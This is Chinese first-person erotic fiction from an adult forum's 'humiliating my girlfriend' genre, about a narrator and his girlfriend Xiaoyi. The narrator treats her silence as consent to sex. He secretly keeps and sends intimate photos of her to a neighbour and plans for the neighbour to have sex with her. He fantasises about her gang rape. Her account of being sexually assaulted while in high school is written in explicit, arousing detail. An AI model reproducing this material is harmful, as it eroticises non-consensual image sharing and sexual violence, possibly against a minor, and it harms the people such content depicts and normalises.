图片载入中

凌辱女友小奕系列

特大字】 【大字】 【中字】 【小字

(前篇)(1)

从偶遇到初见第一次接触胡大的文章,已经不记得是哪一年了,只记得当时看完后异常兴奋,热血沸腾。

那个时候的女友,还是我前女友,在异地有两千公里之遥,无法实施,后来时间一长,渐渐地淡忘了。

我一向是个喜欢潜水的人,无聊时闲逛于各种色情论坛,只看,不说话。前几天偶然想起四合院,在地址栏输入,居然奇迹般的打开了。对于大陆用户而言,我想这是不多见的,居然没有被屏蔽,不用代理、不用翻墙软件,很神奇的打开了,而且速度还相当快!

看到那些曾经熟悉的文字,犹如春雷,迅速唤醒了内心那股压抑了许久的冲动。随意点开了mikemikeis的《凌辱女友颖颖系列》,看到颖颖的照片,更加激动得不能自已。

在内心里澎湃了好几天后,决定开始实施调教女友计划,并于四合院报告调教进程,还需要广大院大们给我提供更多的意见和建议。

下面交代女友的情况以及认识背景:女友名叫小奕,今年26岁,是属于那种可爱型,身材比较小巧,身高只154公分。身材比例比较好,再加上永远穿高跟鞋的缘故,看起来比实际身高要高许多。

认识小奕,是在三年前的冬天,那个时候我们都还是在校生,在一个实名制的交友网站上。从网站的头像上看来,是个清纯的女孩子,所以在接下来的很多天里,我们都用网站上的内部简讯功能来聊天。

最开始的时候,我很有心机的,只是聊些无关紧要的话题,不问电话、不问QQ,甚至连她是什么专业的、几年级,我都从来不问。所以最开始的交流很轻松,没有一点压力,也许正是这样,才能慢慢接近一个魔羯座女生的心灵。

慢慢地,我们开始玩笑似的使用一些相对比较暧昧的称唿,听起来就像是老熟人,其实却是彼此连面都没有见过。在网站上聊了半个月之后,一连几天都没有看到小奕上线,我心里空荡荡的,原来自己已经不知不觉爱上了素未谋面的小奕,所以我就在她的个人主页去留了言,问去哪里了,为什么不上线之类的话。

结果她舍友看见了,发站内简讯告诉我说,她们学期末,都在努力复习期末考试,每天晚上都去教室上自习,所以没什么时间上线。并告诉了我她们宿舍的电话号码,真是得来全不费工夫,后来才知道,那是她的死党。她死党看我们的留言那么暧昧,以为我是她男友了,所以才会这么毫无保留。

很理所当然的,在她填写在网站上的个人资料显示的生日当天,我给她宿舍打了电话,每一次给她打电话,却聊了三个小时。可能我是属于那种比较爱说话的人,所以只要我想,总会有说不完的话题;她话比较少,多半都在听我说,总之是第一次通话,还算比较愉快。接下来,过几天就放寒假了,我们谁也没提要见面的事。

这里补充一个条件,她跟我不是一个学校的,我们两个人的学校距离有四百多公里。她说她过几天要回家了,我说:“那好啊!你们家距离我学校比较近,我可以去看你,顺便补上你的生日礼物。”然后去石头记买了一条项链,因为她个子比较小,所以我也买了条比较小巧的,我想这样戴在她脖子上比较协调。

我们学校距离她家其实也不算太近,有一百二十公里左右,要坐两个小时火车。我带上买给她的项链,轻装上了火车,她说,她会在出站口接我。

一下火车我就认出她来了,虽然和照片上有点区别,但还是能认出来,真人比照片还要可爱一些。她穿着粉红色外套,牛仔裤,运动鞋;有点瘦,腿很细,却不像是骨感那种,个人很喜欢这样的。

我真是个天生的淫虫,第一眼见到她的腿,我就在想,要是脱光了会是什么样。当然只能在心里想想,第一次见面就流露出这么色的眼神,肯定就没戏了。

接下来的活动很简单,估计大多数网友第一次见面都差不多,一起走走,一起吃个饭、喝点东西,然后快天黑的时候,各自回家……连小手都没牵一下,现在回想起来,我那时真是纯情到家了。

(2)不解的纸条之迷

第一次见面的晚上,各自回家。她给我短讯,说戴上了我送她的项链,很喜欢。但是她老爸不允许她在大学毕业前谈恋爱,所以只能等开学之后在学校戴。

其实,她什么时候戴,我倒不是很在乎,有这个信息,说明我们没有见光死,还会有下文,这才是我最关心的。

2月13日,情人节前夕。由于其它关系,我踏上了去深圳的火车,情人节只能在火车上过了,很无聊,于是跟她发短讯。

“对了,还不知道你有没有男朋友呢?”

“没人要啊!那,你有女朋友吗?”

“没有啊!要不你给我介绍一个?”

“好啊,我们宿舍有好几个女生都没男朋友呢!”由于火车过隧道,这条短讯收得比较慢,所以她又发过来第二条:“不过,我自己都没男朋友,我为什么还要那么热心给别人介绍?”“那你就把你自己介绍给我吧,我绝对没意见。”就这样,算是确立了个口头上的关系了。

接下来的一个学期,我们都没有见面,只是每天发了十几二十条短讯。有一天,我问她什么时候来看我,她说:“等暑假吧!”感觉像是在开玩笑的语气。

“等待,总是无尽的煎熬”,之前很少体会到这句话的含义,但她告诉我暑假要来看我之后,我就等着暑假的到来,甚至把我的闹钟设成了倒数天数计时,每天都要看几遍还有多少天。不知道我是在期待小奕,还是在期待小奕的身体,既然她要来看我,而我又租房住,那自然是难逃魔掌了。

暑假终于还是到了,而且她的到来,比原先约定的时间早了两天。她是中午到的,我叫上了住我对面的同学一起去外面吃饭。现在想起来,女友第一次来看我,为什么要叫同学一起吃饭?潜意识的吗?现在只能有这个解释了,恐怕。一般正常人接女友肯定是一个人自己去,然后享受二人世界的吧!

第一天晚上,相安无事。我现在还在佩服自己当时的冷静,我们躺在同一张床上,居然连肌肤之亲都没有,不知道是出于紧张,还是怕被拒绝没面子。

第二天晚上,只是搂着她睡了一会,仍然是没有继续行动。

第三天,午后。暑假反正也没什么事做,吃完饭就在屋子里看电视。我们都坐在床边上看,不知不觉坐得近了一些,然后我开始搂着她,然后头靠近,然后亲她的脸颊、头发。她开始慢慢动情了,喉咙里发出混沌的声音,开始向着我的方向贴近,越贴越紧,她身上的那种淡淡的香味夹杂着异性的气息,唿唤着我心底那份久违的冲动……

我开始用手伸到她衣服里面抚摸她的小肚子,还傻傻的小心翼翼的说:“看看你小肚肚上的肉肉有没有我多。”时不时地试探性的轻触内衣下沿。随着她的气息加重,开始隔着内衣揉捏她小巧的乳房。她的乳房不大,小馒头那种类型,乳头很小,颜色是粉红的,这些都是我最喜欢的。当然,要脱掉了才能看得见。

她好像是来看我之前就打定了主意,所以我很顺利地脱光了她所有的衣服,梦寐以久的身体终于展现在了我眼前,我有点快要窒息了的感觉。看着自己喜欢的女人身体的那种感觉,无法用语言来形容,是满足,是渴望,还是爱?

这个时候我才突然发现,窗帘是大开着的。我住在一个小院子里一楼,而且窗户正对着外面公路的一个下坡处。说明白一点就是,如果有人从山坡走下来,很自然地目光就刚好看到我的窗户,而这个时候我屋子里,小奕一丝不挂的躺在我的床上。我内心纠结了五秒钟,终究还是受胡大的影响,我决定装作不知道窗帘的事情,继续挑逗小奕。

我一边吸吮着小奕的小乳头,一边用手指在她的小穴附近轻轻滑动,半透明的液体已经从小奕紧闭的小穴顺着大腿流出一条淫荡的痕迹。看到如此淫荡的场景,我下面的肉棒感觉已经涨得快要爆炸了,于是轻轻的把小奕放平,让她平躺在床边,双腿曲起。

当肉棒靠到小奕的小穴门口的时候,我突然想到什么,所以问了一下小奕:

“可以进去吗?”小奕没有回答,只是闭着眼睛。

龟头沾上了小奕的淫液,显得更加胀痛,我当小奕是默认了,便开始缓缓地插入……龟头突然感觉到一阵无比的温暖,差点就射出来了。为什么?为什么没有任何阻碍,这么顺利就插入了?虽然感觉到还是很紧,但的的确确是很轻易地就插了进去,尽根没入。

在插到底的时候,小奕的肚子收缩了一下,脖子尽力地后仰,喉咙里又发出那种低沉的混沌的声音。

************接下来的几天,我都待在出租屋里,跟小奕不停地做爱,多的一天要做三、四次。我真佩服那些大大们,一天十几次是怎么做出来的?

初次进入的疑惑一直困扰着我,我没有处女情结,但根据客观了解,小奕之前并没有交过男朋友。虽然从高中到大学,有过几次暗恋班上男生的经历,甚至在高中时还因为暗恋而影响学习,大学都没有考上,复读了一年才考上了大学。

那,究竟是因为什么,使得我可以这么轻易地进入?深受胡毒的我,脑海中出现了无数种猜想:小奕主动献身给她暗恋的人?好像又不太可能,她的胆子比较小,连告白的勇气都没有,哪里来的勇气献身?难道是给别人强奸了?又或者是自己经常手淫?越想越刺激,同时又有点淡淡的醋意。

终于,我还是忍不住问了小奕:“你之前有过男朋友吗?”“没有啊!”

“那……为什么那天,那么容易就进去了?”

“我也不知道。”

询问没有任何结果,也只能暂时这么算了。

第二天,小奕突然从她的行李箱中拿出来一个盒子,“你原先不是说不够了解我吗?喏,这是我以前写的日记,自己看吧!”说完把那个盒子交给我。

各们有看过自己女友以前写的日记吗?那个心情很是激动啊~~可是当着小奕的面,我也不好意思看,只好趁小奕睡觉的时候看。这一看可看得我直接视力下降啊,足足有五大本之多!

日记是从初中开始写的,一直到大学认识我之前。我很想知道小奕的过去,所以就算是初中的日记,哪怕是记流水帐的,我都没有放过,一篇一篇仔细地阅读,希望能从里面找出来个为什么。

结果很令人失望,一直看到高中毕业,都没什么有用的线索,其中记录她暗恋别人相关的日记占了大多数:看到那个男生跟哪个女生又走得近啊,那个男生又看了她一眼啊什么的,感觉小奕就是在醋坛子里泡大的。

一直看到大一的日记,突然发现里面夹着一张小纸条,内容是:“明天帮我把衣服洗了,做我的女人,我会对你好的。”没有日期、没有署名,字迹一看就知是个男的。

究竟是谁写的?写给小奕的吗?要不是写给小奕的,那为什么会出现在她的日记本里?那她为什么又拿日记给我看?故意给我看的,还是她自己忘记了这里面有这张纸条?更多的疑问……

不解,这个女人真难以猜测。

(3)纸条的由来

第二篇中提到的纸条就像是我肚子里的蛔虫,天天在折磨着我、侵蚀着我。

接下来的时间里,稍稍有空闲的时候,我就会想到那张纸条。“明天帮我把衣服洗了,做我的女人,我会对你好的。”这句话,已经深深的烙在了我心里。

内心无比的纠结,却不敢开口问她,怕万一处理不好,她就离开我了。我是真的喜欢她,喜欢她的清纯,喜欢她的可爱,哪怕那清纯也许只是表面的,但我也深深为她着迷,不能自拔。

接下来有一次干完小奕后,我抱着小奕说:“你下面干起来好爽哦!现在除了喜欢你,还喜欢你的下面了。”结果小奕的回答却让我很意外,我以为她要羞答答的回答说“嗯”的,结果她的回答却是:“那还不是因为我之前没有过男朋友,要是我之前也有过几个男朋友的话,你就不会这么说了。”这下搞得我不好意思了,冷汗,瀑布汗。

我听出小奕这话里有几层意思:一、她说她之前没有过男朋友的意思,无非是想表达之前没有被别人干过。二、她对我过去有过几个女友而耿耿于怀,难道我没有处女情节,倒是小奕却有处男情结?既然话说到这里了,我就干脆单刀直入,问小奕我想要知道的问题好了。

“那天我看你的日记,发现你面有一张纸条。”“嗯……什么纸条?”小奕满脸的狐疑。

“是在你大一的那本日记里找到的,上面写着‘明天帮我把衣服洗了,做我的女人,我会对你好的’。”

“……”小奕陷入沉默,空气就好像凝结了一般。我屏住唿吸,等着小奕说出那个我困扰好几天的答案。

“其实也没什么……”小奕半天冒出了这么一句,声音很小,但我还是听见了,“这是一个学长写的,不是写给我的,”小奕似乎在开始回忆:“这张纸条是写给我一个室友的……”

用小奕当时的口气说话实在是累人,下面改用第三人称描述小奕当时说的事情。

事情发生在小奕大一的时候。大陆有的大学有这么一个规定,就是大一的新生不给买计算机,所在大一的学生要是想上网的话,只能去网吧,或者去学校的机房。

陈葳,是高年级的学生,比小奕大两年年级,因为小奕她们宿舍的女生经常去机房上网,而陈葳正好是在学校做勤工俭学,工作内容就是看管那个机房,负责开门、锁门等,由于经常去的关系,自然慢慢地她们宿舍就跟陈葳混得比较熟了,甚至有时候还发短讯让陈葳给她们留几个位子。

前面已经说过小奕总是不停的在暗恋别人,这个时候,小奕也开始慢慢喜欢上了陈葳。陈葳长什么样子,我没有见过,不过同时小奕她们宿舍还有另外两个女生也喜欢陈葳,但另外两个女生明显比小奕主动多了,所以小奕很是吃醋,却又毫无办法。

直到有一天,小奕自己一个人去机房,陈葳在小奕离开的时候给了小奕一张折好的纸条,让小奕带给她的室友小娜,并嘱咐不要偷看之类的话。帮自己喜欢的人带纸条给自己的室友,这份豁达恐怕没有几个女生有,小奕也不例外,所以自己偷偷拆开了那张纸条,因怕被别人看见,便夹在了自己的日记本里。至于为什么这张纸条的内容要这么写,还有陈葳和她室友小娜的事,跟本故事无关,就不多作交待了。

没想到,纸条事件只是“虚惊”一场。至于小奕说的是不是真话,我就不再去多想的,看到小奕的样子,我想没人相信小奕会撒谎。但对我而言,多少有些失望,我内心是多么希望这张纸条是写给小奕的啊!至少可以解释小奕的下面为什么容易进入。

然后再想想如此清纯的小奕,也曾被别的男人压倒在床上,抚摸她的全身、轻咬她的小乳头,粗黑的肉棒慢慢地进入小奕的小穴,抽出来的时候把里面的嫩肉给带翻出来。小奕主动地迎合着男人的每一次抽插,脸上那不知痛苦还是舒服的表情……小奕像条母狗似的趴在床边,粗大的鸡巴从后面一下全部插入到小奕的小穴里,随时都有被干破的危险,一次又一次猛烈的撞击,发出“啪!啪!”的声音,直顶小奕的花蕊……现在一切却成了泡影。

===================================前篇交待完结,请看《凌辱女友小奕系列》。

(1)小奕的内裤去哪了

前面已经交代过,我租住的房子,是在一楼的。

有一天,小奕收衣服的时候突然“啊”的惊叫了一声,然后小奕回来很严肃的告诉我:“我晾在外面的内裤不见了两条。”我:“可能是被风吹走了吧?你看看附近有没有。”(因为这城市有时候风很大,所以我怀疑是被风吹走了。)

小奕:“我找过了,没有。再说我的内裤是用夹子固定在衣挂上的,哪可能被风吹走?”

我:“那……该不会是被偷走了吧?”

小奕:“不会吧,偷我内裤做什么?”小奕满脸的疑惑与不解。

我:“那可难说说,说不定有人喜欢你穿过的内裤呢!”小奕:“偷我的内裤做什么?难道我穿过了,她还偷回去穿?”(不知道小奕是装傻,还是真的没听懂我的意思。)

我:“我又没说是一定是女人偷的,偷你内裤的,女人一般不会干这事,八成是男人偷的。”

小奕:“男人……”她好像渐渐明白了,陷入了短暂的深思。

我:“有的男人喜欢偷别人的内衣回去YY,然后手淫什么的。”小奕:“YY是什么?”(小奕果然是……什么都不懂。)我:“YY有很多种解释,不过在这里是指意淫的意思。”……(省略若干文字)给小奕解释什么是意淫。

我:“我现在才想起来,我们第一次做的时候,好像没关窗帘哦!会不会是被某个色狼看见了,一直对你想入非非?”

小奕:“啊?!”(小奕的表情很奇怪,不知道是什么表情,我实在是看不懂,是知道被别人看见自己的裸体而觉得羞辱?还是知道有人对自己想入非非而沾沾自喜?还是因我不记得拉上窗帘的埋怨?总之是很复杂的表情。)我:“可能那个人看见之后天天幻想着要跟你做爱,最后实在是按捺不住,所以来偷你内裤回去解馋呢!”

小奕:“你再说我不理你了。”小奕似乎是生气了,话题没有再继续下去。

从此小奕的内衣就不敢晾在外面了,按小奕的话说,是因为怕内衣被偷了,又要买新的,比较浪费钱。毕竟我们俩也只是学生,家里又不是很富裕那种,所以也要考虑节省开支的问题。

没过几天,住隔壁的兄弟说家里来了几个朋友,让我们俩一起过去吃晚饭,反正也就是一门之隔,再加上这个兄弟跟我是老乡,平时关系也不错,自然是答应了。

到了晚上,小奕还刻意地换上一条红色的裙子,很可爱的那种。晚餐是吃火锅,我这个兄弟厨艺一向很不错,一看锅里就是色香味俱全的样子,让人食欲倍增。

因为地方不是很大,吃饭的时候就直接把电磁炉放到地板上,然后几个人坐着小凳子围在一起吃。小奕挨着我坐,我兄弟跟挨着他女友一起,坐我对面。这样吃过饭的朋友都知道,这样一来,夹菜的时候肯定是要弯腰的,而且一心一意想着要去夹什么菜的话,对女生而言,是很容易走光的。所以很明显的,每次小奕弯腰夹菜的时候,我就发现我那个兄弟在看小奕,虽然我这个角度是看不到,不知道他看得到什么。

这个时候我突然在想,小奕的内裤该不会是这个家伙偷的吧?其实偷看走光的女生,是个男人估计都会有这样的举动,但我不知道为什么突然将这件事与内裤事件联系起来。

接下来发生的事情就更加离谱。过了几天,我跟小奕正在看电视的时候,突然听到敲门声,开门之后,却发现是隔壁兄弟的女友,她很少跟我说话,所以我跟她也不是很熟悉。

我:“你……找我什么事吗?”(她叫小玲,但我跟她不熟的缘故,所以不好意思直接叫她小玲。)

小玲:“也没什么事,你看一下这是不是你们家的内裤,可能我们家小伟以为是我的,给收回来了。”说着把手中的袋子交给我。

我打开来看了一下,好像就是小奕前段时间丢的内裤,但也不是很确定,所以让小奕来确认了一下,果然就是小奕被偷的内裤。原来隔壁的兄弟还有这个爱好,还真没看出来,这样一来,我们俩可就有得交流了,心里暗爽。但毕竟这种事情也不能太过明目张胆的说吧,所以一直没有进一步的行动。

直到有一天,我的ADSL猫突然当掉了,上不了网,但又要着急着上网发一个档案给朋友,所以就拿着计算机去隔壁兄弟那里用一下他的网线,可是发现网速却是异常慢,档案半天发不过去。

我:“你在干什么,在下载东西吗?怎么这么慢,我这档案传不动啊!”小伟:“嘿嘿,在下部A片,马上就下完了,你等等啊!”我(无语):“……A片我这也有不少,等下我有空传给你。”小伟:“好啊!我们交换一下资源也好,这里网速有点慢,下一部要等老半天。”

终于找到了一个可以进行深度谈话的机会了,但当面讲还是有点不好意思。

第二天,我就换了一个新的ADSL猫,可以正常上网了。白天跟小奕出去逛了一会公园,小奕有点累,早早就洗完了澡躺在床上看电视,我用计算机上QQ,跟隔壁兄弟讨论一下交换A片事宜。

当然,交换A片不是我的目的,这只是我的借口。在讨论了一下各自喜欢什么类型的A片之后,我突然问他:“上次你女友把我女友的内裤送过来,说是你当成她的内裤一起收回去了,害我女友以为被色狼给偷走了。”小伟:“……”(这家伙估计是诡计被识破,显得不好意思。)我:“其实大家都是男人,也没什么不好意思说啊!我们认识也好几年了,有什么话就说呗!就算是你偷的,我都觉得没什么,我以前也偷过女生的内裤,拿回宿舍手淫。”虽然没干过,但为了让他觉得理所当然,我就编了个谎话。

小伟:“这么强,偷谁的?”

我:“当然是偷我们班上的女生的啊!高中的时候。”小伟:“你女友的内裤是我在地上捡的,跟我女友的有点像,所以我就收回来了。”

我:“哦……是这样,那上次吃饭,你是不是看见我女友走光了?”小伟:“尴尬。”(QQ表情)

我:“大家都是男人,别这么害羞嘛!其实我也发现你女友很性感啊!你看就看呗!我又没说什么。”

小伟:“……”(这家伙总是喜欢用省略号,看来还是有色心,没色胆。)我:“你要是真想看,改天我直接拍一张照片给你看,保证比你那天看到的还要火爆。”我豁出去了,孤注一掷。

小传:“不是吧?这不太好吧?”(看来这家伙还是有点保守)我:“别这么婆婆妈妈的,一句话,要不要看?”(感觉我是在教坏小孩)小伟:“那,好吧。”(看别人女友,自己还说得这么勉强,这样的男人还真不多见吧?)

我:“那我改天拍好发给你看,不过要注意保密哦!”小伟:“好……”

就这样,和小伟商定了拍好女友照片给他的事情。接下来,就是要解决让小奕同意拍照片的问题了。

(2)小奕的裸照

在跟小伟说好要拍小奕的祼照给他看之后,我就一直在找机会,小奕能不能接受拍裸照还是一个问题。由于当时经济还不是很宽裕,所在先决定用手机拍,并筹备着买一部新的相机,后来在苏宁电器买了一部富士S2000HD,花掉了我差不多二千四百元人民币,这是后话。

直到再一次跟小奕缠绵的时候,我分开了小奕的双腿,仔细地盯着小奕的小穴看,看得小奕都有点不好意思了:“那里有那么好看吗?”我:“对啊!这里很好看,而且很诱惑。”

小奕:“是吗?可是我没觉得那里没什么好看的呢!”我:“你自己哪里看得到?”

小奕:“以前我自己用镜子来看过一下啊!”(原来小奕还是对自己的小穴很好奇的嘛,居然自己用镜子照着看。)

我:“可那是以前啊!说不定因为现在被我插过了,变得好看一些了呢!”小奕:“会吗?我不信。”(小奕不屑的表情)我:“这样吧,你要是不信的话,我用手机拍给你看。”小奕没有说话,好像是默认同意了。我拿起手机,但还是担心小奕等下会反悔,又补充了一句:“我就拍给你看一下,完了马上删掉,又不保存。”小奕还是没有说话,听我这样说,她应该没什么理由要反对了。但小奕还是下意识的把头转了转,好像是担心我会拍到她的脸。难道小奕这么有先见之明,知道她的照片会给别人看到?

拍到小奕的第一张性感照片,居然直接就是她小穴的特写,虽然手机像素不高,但长这么大第一次现场拍到女友小穴的特写,也是相当激动的,心跳加速,可能脸都有点红了,不是害羞,而是激动。不知道其它狼友第一次给女友或者老婆拍这种照片的时候,有没有这样的感受?

只拍了一张,我就把手机递给小奕看,小奕看到照片,只是皱了皱眉头,没说什么,默默地把手机还给我,也没有要求我要立刻删掉的意思。接下来我没有接着拍照片,而是继续跟小奕温存。

小奕其实是那种很没有主见的女孩子,只要你说得有道理,她都会信服的,所以在我在干小奕的时候,让她做任何姿势,她都会愿意。我个人自然是最喜欢让小奕像条母狗一样趴着,我从后面干她。

到最后我射完精的时候,小奕还是持续地保持着那个母狗的姿势。我后退了几步,看着趴在床上的小奕,小穴由于刚刚被我干过的缘故,还没有完全合拢,从后面看到一个小小的洞,还带有一点我刚刚射入的精液。这样的场面实在是太淫荡了,所以我不自觉地冒出了一句:“太淫荡了!”小奕没有听清我说什么,我又再说了一句:“我说,你现在这个姿势,看起来真的好淫荡。”

小奕不服:“你才淫荡!你居然说我淫荡,哪有这样子说别人的。”(有点生气的样子)

我又故技重施,拿起手机对着趴在床边的小奕又拍了一张,但还觉得不够过瘾。

我:“现在没有刚才那么淫荡了,刚才你下面的小洞洞是张开着的,现在闭上了。”

小奕不说话,我把小奕的两只手分别放在两边的屁股上,说:“要不你轻轻的掰开,我拍一张给你看,你就知道了。”小奕真的很听话地用双手轻轻的掰着屁股,这样子小穴就张开了一个小洞。

受不了了,真的受不了了!如果我有流鼻血的习惯,我一定会流得失血过多而亡的。但是我没有流鼻血的习惯,所以我只能精尽而亡。

趁小奕不注意的时候,我将照片复制了一份,储存到其它地方,然后当着小奕的面把照片删掉,让她免去后顾之忧。

照片终于有了。当天晚上,趁小奕睡着了的时候,我又起床开了计算机,一看隔壁的兄弟,居然还在线。这可不就是天赐良机吗?赶紧问他方不方便,我说有女友照片给他看,这家伙原来还那么扭扭捏捏的,现在倒还很主动。

小伟:“好,快发过来看看!”

我:“靠!那天你好像还不愿意呢,现在又这么猴急?”几张照片都给小传发过去了……

小伟:“色。”(QQ表情)

我:“怎么样?”

小伟:“太火爆了吧,看着很有感觉啊!”

我:“是啊!我拍的时候就觉得那个姿势实在是淫荡得不行了。”小伟:“是很淫荡。”

我:“特别是看到那个微微张开的小洞洞,估计是个男人看见了,都想把自己的肉棒塞进去吧?”

小伟:“嗯!”

我:“你呢?是不是也想把自己的肉棒塞进去?”小伟:“……”(又是省略号,这家伙到现在还是这么腼腆。)我:“靠!你丫行不行啊?又不是让你真塞,只是问你想不想,这么腼腆干什么?男人不色非君子嘛!”

小伟:“想啊!现在下面都翘起来了。”

我:“现在不行,等以后找机会吧!一定让你的肉棒塞到她那的小穴里去,爽一把的。”

小伟:“你真的愿意?”他明显不相信,表示不理解。

我:“是啊!就怕你不敢。”我也懒得跟他解释那么多,唉,自从看过了胡大的《凌辱女友》,以后又看了不少类似的文章,这毒中得太深了,没办法。

小伟:“……”(妈的,这家伙又跟我来省略号)我:“我就是希望别人干她,那感觉比我自己干她还爽。”小传:“晕。”(看来这小子没中过胡毒,不知道被我影响以后会不会中,那是后话了。)

我:“我估计你就除了你女友之外,没干过别的女人吧?”小伟:“嗯。”

我:“那我想想办法,让我女友成为被你干的第二个女人,怎么样?”小伟:“好啊!”(这家伙估计已经沉浸在小奕的小穴里了,有几个男人不想干别人的女友,而且这还是主动送上门来的。)我:“以后要是有可能的话,我们两个人一起干她。”小伟:“好。”

小伟还是那么腼腆,有点话不敢说出口的感觉。以后可能会好一些的。这些是参照当天晚上我们的QQ聊天记录来写的,未作任何修改。

正在我跟小伟聊天兴头上的时候,小奕好像醒了,发现我不在床上。突然听见小奕在叫我,我赶紧关了聊天窗口,然后上床睡觉。

我估计小伟那家伙被我刺激得不行吧,可惜后来我真的睡着了,要不然,估计可以听到他干他女友的声音。我们住在隔壁,当时又是夏天,所以都是开着窗户,只关纱窗睡觉的。以前听到过他女友的叫床声,很大很销魂。

(3)纸条的真正来源

随着对小奕的了解,开始慢慢探究她过去的经历。而那张纸条的解释,我始终也不是很信服,所以一直还是不死心。两个人躺在床上睡不着觉的时候,我就给她讲故事,讲我过去的经历,也包括跟前女友的经历,我讲完一段之后,就要求她也给我讲一段。

我:“现在轮到你给我讲了。”

小奕:“讲什么?我不会讲哦!”

我:“没关系,就随便讲吧,你想起什么就讲什么,像你写的日记那样。”小奕:“那你要听哪一段?”

我:“那就从高中讲起吧!”

小奕:“好吧!但高中的时候其实也没什么。”我:“也可以讲讲高中的时候,你们在外面玩的事情啊!比如集体出游啊,什么的。”(我当然是有所指)

小奕:“我不喜欢出去玩,她们叫我,我都不去的,好像只去过一次。那次是班上一个女生让我陪她去见一个人,她说见面的地方是酒吧,不敢一个人去,非要拉我去。其实我从来没去过那种地方,一点也不想去,只是她不停地求我,看她可怜的样子,我就答应了。

我们到的时候,里面有三个男的,就我们去的两个女的。刚坐下他们就让我们喝酒,可是我基本上都没喝过酒。他们实在是太烦了,一个劲的叫我们喝,我没办法,也只好喝了一点点。

那里很吵,说话都听不怎么清楚,过了一会,我就想走了。他们最开始不让我走,说怎么刚来就要走啊?可是我坚持要走,最后他们没办法,只好送我们出来。因为我跟我同学家不在同一个方向,所以分别两个人骑摩托车送我们回家,本来我想自己坐车的,结果那天有点下雨,没看到附近有车,就让他们送了。

走到一个宾馆门口的时候,那个男的就把车停下了,叫我上去坐坐,还拉住我的手。我当时好怕,就很大声的说不去,旁边有好几个人就看过来了,那个男的才放了手。我赶紧跑开了,后来自己坐了一辆三轮车回家。”我:“后来呢?”

小奕:“第二天到学校的时候,那个女生没来上课,过了几天就来办理退学手续,听说是那天晚上被强奸了。当时我真的好害怕。”我听后却感觉有些失望,要是小奕被拉进了宾馆,或者多被灌一点酒,没有反抗能力的话,结果会是什么样子的呢?那个男的肯定会在宾馆里粗暴地撕开小奕的衣服,然后很粗鲁的干她。完了也许还要打电话叫一群朋友来,轮流干着小奕,射得小奕小穴里全是精液,不知道混合了多少个人的精子,每一次的插入就挤出大量的精液,顺着大腿往下流。但只可惜,这终究只是我的幻想。

我:“那高中的时候就没有别的男生喜欢你,追你吗?”小奕:“有……”欲言又止的样子。

我:“说吧,我们都这么熟悉了,还有什么怕对我讲的么?”小奕:“不想说了,睡觉吧!”

我:“为什么不想说,是有什么难言之隐么?没关系,讲出来我说不定还能帮上你呢!别憋在心里自己一个人难受,既然我们在一起了,就要互相分担,不是么?快乐分成两份,就是两份快乐;痛苦分成两份的话,我们就一人一半。”小奕:“那你先答应我,我讲出来之后,你不准生气。”(为什么所有女人都要用这一句台词?我甚是不解,我看了好几位大大的文章,女友都是这样的台词,但小奕当时的确是这么说的,我只好照写。)我:“只要不是你杀过人、放过火,那就没事。”小奕:“真的?”

我:“真的。”我很郑重的点了下,表示绝对的肯定。

小奕:“那我说了喔?”

我:“嗯。”

小奕:“有一个人,他是我哥的朋友,叫小光。有一天晚上吃饭的时候,我哥告诉我,说他有个朋友喜欢我,当时我也没太在意,只是‘哦’了一声。可是后来小光就经常借口来找我哥,跑到我家里来,他总是在偷偷地看我,害我在家里都不自在。

有时候他甚至就在我家里过夜,跟我哥一起通宵打游戏、看电视什么的,不回家。后来时间长了,我也就习惯了。到了暑假的时候,他就天天赖在我家里,我爸只有晚上很晚才回来,有时候都不回来,根本没有人管他们俩。”我:“那,小光在你家混那么久,有没有骚扰过你?”小奕:“嗯。”(好像是我问到重点了,小奕回答得很模煳,嗯,应该是代表有的意思吧?)

我:“真有啊?什么时候?”

小奕:“有一天晚上我洗完澡出来开门的时候,发现小光站在门口,我问他干什么,他说他想上厕所。我看他的表情有点怪怪的,反正说不出来。”我:“那,后来呢?”

小奕:“后来,我在我的课本里发现一张纸条,是小光写的。”我:“纸条?上面写什么了?”一听是纸条,我立马来了兴趣,明显激动了起来。

小奕:“我说不出口。”

在我的软磨硬泡之下,了解到纸条的内容,大概是说小奕的祼体很漂亮,他很喜欢,让小奕做他女朋友之类的话。原来那家伙那天站在浴室门口是在偷看小奕洗澡!

小奕立刻去检查浴室的门,果然下面有一个地方贴上了报纸,把报纸撕开之后,发现一个洞。浴室的门是木头的,时间长了,因为总会被水淋湿,所以腐朽得比较快,再加上门板比较薄,所以不知道被谁捅破了一个洞。

在得知女友高中的时候曾经被人偷看洗澡之后,我也是激动了一下,原来她在认识我的几年前就被人看过裸体了,而且还是在自己家里。

我突然想到原先那张纸条的事情,顺势问小奕:“原来我问你那张纸条,你说是大学时你学长给你室友的,可是我看不怎么像,不会是小光写给你的吧?”小奕:“我知道我一说小光的事情,你就会怀疑的。”我:“怀疑什么?”

小奕:“怀疑我跟小光XXX过。”(小奕还是很腼腆,说到敏感字词就含混不清。)

我:“那,到底是有还是没有呢?”

小奕:“算……有吧。”

我:“什么叫算有?”(我更加迷惑不解,这种事,还能算有,算没有?)小奕:“我没有让他进去……”

我:“你的意思是,你们都脱光了,然后小光没插到你里面去?”小奕:“嗯,只进到一点点,当时觉得有点痛,于是我就很用力的把他推开了。”

我:“你不是说你不喜欢小光吗?怎么会让他插你?”小奕:“那天我哥突然有点事出去了,家里就只有我跟小光两个人,已经蛮晚了,可能11点这样子。我都洗完了澡,换了睡衣。可是突然电话响了,半天没有人接,我就出到客厅接电话。刚出房门的时候,我就看到小光站在那里看着我,可我还是走过去接了电话。是我爸打回来的,他说今天晚上不回来了。

挂了电话我就直接回房间,可是当我进了房间准备关门的时候,看见小光站在门口,他眼睛直盯盯的看着我,看得我害怕。这个时候我才发现,我没有穿内衣,于是就往后退了几步,小光就直接走了进来,还关上了门。然后扑过来抱住我,在我身上乱摸,我都没有穿衣服,他一下就摸到了我那里。

当时我也很奇怪,明明自己很清醒,可是却没有太用力的反抗。没过多久,小光就脱光了我的衣服,用手指插我那里,还用舌头舔我的乳头。后来小光就自己脱光衣服,压到了我身上,接着就感觉到下面有一个硬硬的东西顶着我。然后下面越顶越重,我感觉到有东西好像进入到我那里了,有点痛,我就用力把小光推开了。”

我:“后来呢?”

小奕:“后来小光还想再来摸我,我都躲开了,然后好像听到我哥在楼下叫他的名字,他就出去了。”

我:“那,你日记本里那张纸条是怎么回事?”小奕:“那是有一天我们家的洗衣机坏掉了,小光想让我帮他洗衣服,夹到我课本里的,后来怕被别人看见,我就放到日记本里了,不知道怎么会夹到大学的那本日记里去的。”

